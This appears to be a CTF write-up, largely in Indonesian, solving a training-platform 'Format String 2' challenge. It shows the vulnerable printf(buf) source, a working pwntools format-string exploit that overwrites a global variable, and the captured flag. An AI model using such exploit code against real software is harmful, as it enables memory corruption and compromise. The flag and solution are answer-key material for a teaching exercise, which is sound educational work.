Pwn · Cylab Security Academy (PicoCTF) · Easy · 2026-10-22

Format String 2

Format string attack with pwntools automated (elite ball knowledge)

Format String 2

Format string attack with pwntools automated (elite ball knowledge)

Recon

~/ctf/pwncheatsheet/picoctf/cylab/formatstring2 main*
❯ checksec vuln                                                                 󰥔 08:50:41
[*] '/home/claritys/ctf/pwncheatsheet/picoctf/cylab/formatstring2/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

~/ctf/pwncheatsheet/picoctf/cylab/formatstring2 main*
❯ cat vuln.c                                                                    󰥔 08:51:22
#include <stdio.h>

int sus = 0x21737573;

int main() {
  char buf[1024];
  char flag[64];

  printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your input: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  if (sus == 0x67616c66) {
    printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");

    // Read in the flag
    FILE *fd = fopen("flag.txt", "r");
    fgets(flag, 64, fd);

    printf("%s", flag);
    fflush(stdout);
  }
  else {
    printf("sus = 0x%x\n", sus);
    printf("You can do better!\n");
    fflush(stdout);
  }

  return 0;
}

Vulnerability

  scanf("%1024s", buf);
  printf("Here's your input: ");
  printf(buf);

ada printf(buf), yang di mana dia ada kerentanan format string exploitation. Kita bisa ngirim command format string dari inputan kita seperti %p, %x, dll.

Kita bisa mengubah value variable sus sesuai yang kita inginkanmenggunakan kerentanan tersebut.

Exploit plan

Sebenarnya challenge ini itu bisa langsung diautomated pakai template, tinggal ganti value aja.

#!/usr/bin/env python3

from pwn import *

elf = ELF("vuln_patched")

context.binary = elf
context.terminal = ["ghostty", "-e"]
context.arch = 'amd64'

if args.DEBUG:
    context.log_level = "debug"

gdbscript = """
source /home/claritys/tools/pwndbg/gdbinit.py
set pagination off
set confirm off

break main
continue
"""

def conn():
    if args.GDB:
        r = process([elf.path])
        gdb.attach(r, gdbscript=gdbscript)
        return r

    if args.LOCAL:
        return process([elf.path])

    return remote("addr", 1337)

def main():
    r = conn()
    program = elf.path
    def exec_fmt(payload):
        p = process(program)
        p.sendline(payload)
        return p.recvall()

    autofmt = FmtStr(exec_fmt)
    offset = autofmt.offset
    p = process(program, stderr=PIPE)
    addr = elf.sym['sus']
    log.success(f'sus address {hex(addr)}')
    payload = fmtstr_payload(offset, {addr: 0x67616c66})
    # p.sendline(payload)
    # good luck pwning :)
    r.sendline(payload)
    r.interactive()

if __name__ == "__main__":
    main()

Kita pakai referensi dari docsnya pwntools langsung:

pwnlib.fmtstr — Format string bug exploitation tools — pwntools 4.15.0 documentation

Nah jadi di situ membuat function untuk ngeleak secara otomatis, kita adain exec_fmt, terus ada bawaan dari pwntools yaitu FmtStr untuk menjalanin scriptnya ini. Nah baru ada lagi yaitu .offset, dia digabungin dengan variable yang isinya FmtStr tadi.

Nah karena si variable sus itu adalah target kita dan untungnya dia itu ngga di dalam function tapi langsung diluarnya, dia berarti ditaruh di .data Segment. So, dia addressnya itu ngga dinamis kayak variable buf dan flag yang disimpan distack dan dinamis.

alamat .data ini statis dan biasanya berada di kisaran rentang rendah seperti 0x404060.

Nah lalu ada kemudahan lagi dari pwntools ini. Yaitu fmtstr_payload yang ngejadiin kita ngga usah mikirin tentang payload, karena ada fungsi bawaan dari pwntools ini.

fmstr_payload(<offsetinputkita, {<target>: <maudigantiapa>})

Exploit

#!/usr/bin/env python3

from pwn import *

elf = ELF("vuln_patched")

context.binary = elf
context.terminal = ["ghostty", "-e"]
context.arch = 'amd64'

if args.DEBUG:
    context.log_level = "debug"

gdbscript = """
source /home/claritys/tools/pwndbg/gdbinit.py
set pagination off
set confirm off

break main
continue
"""

def conn():
    if args.GDB:
        r = process([elf.path])
        gdb.attach(r, gdbscript=gdbscript)
        return r

    if args.LOCAL:
        return process([elf.path])

    return remote("xebec.cylabacademy.net", 46994)

def main():
    r = conn()
    program = elf.path
    def exec_fmt(payload):
        p = process(program)
        p.sendline(payload)
        return p.recvall()

    autofmt = FmtStr(exec_fmt)
    offset = autofmt.offset
    p = process(program, stderr=PIPE)
    addr = elf.sym['sus']
    log.success(f'sus address {hex(addr)}')
    payload = fmtstr_payload(offset, {addr: 0x67616c66})
    # p.sendline(payload)
    # good luck pwning :)
    r.sendline(payload)
    r.interactive()

if __name__ == "__main__":
    main()

Flag

academy{type_it_manually_if_you_want_but_better_you_do_it_yourself}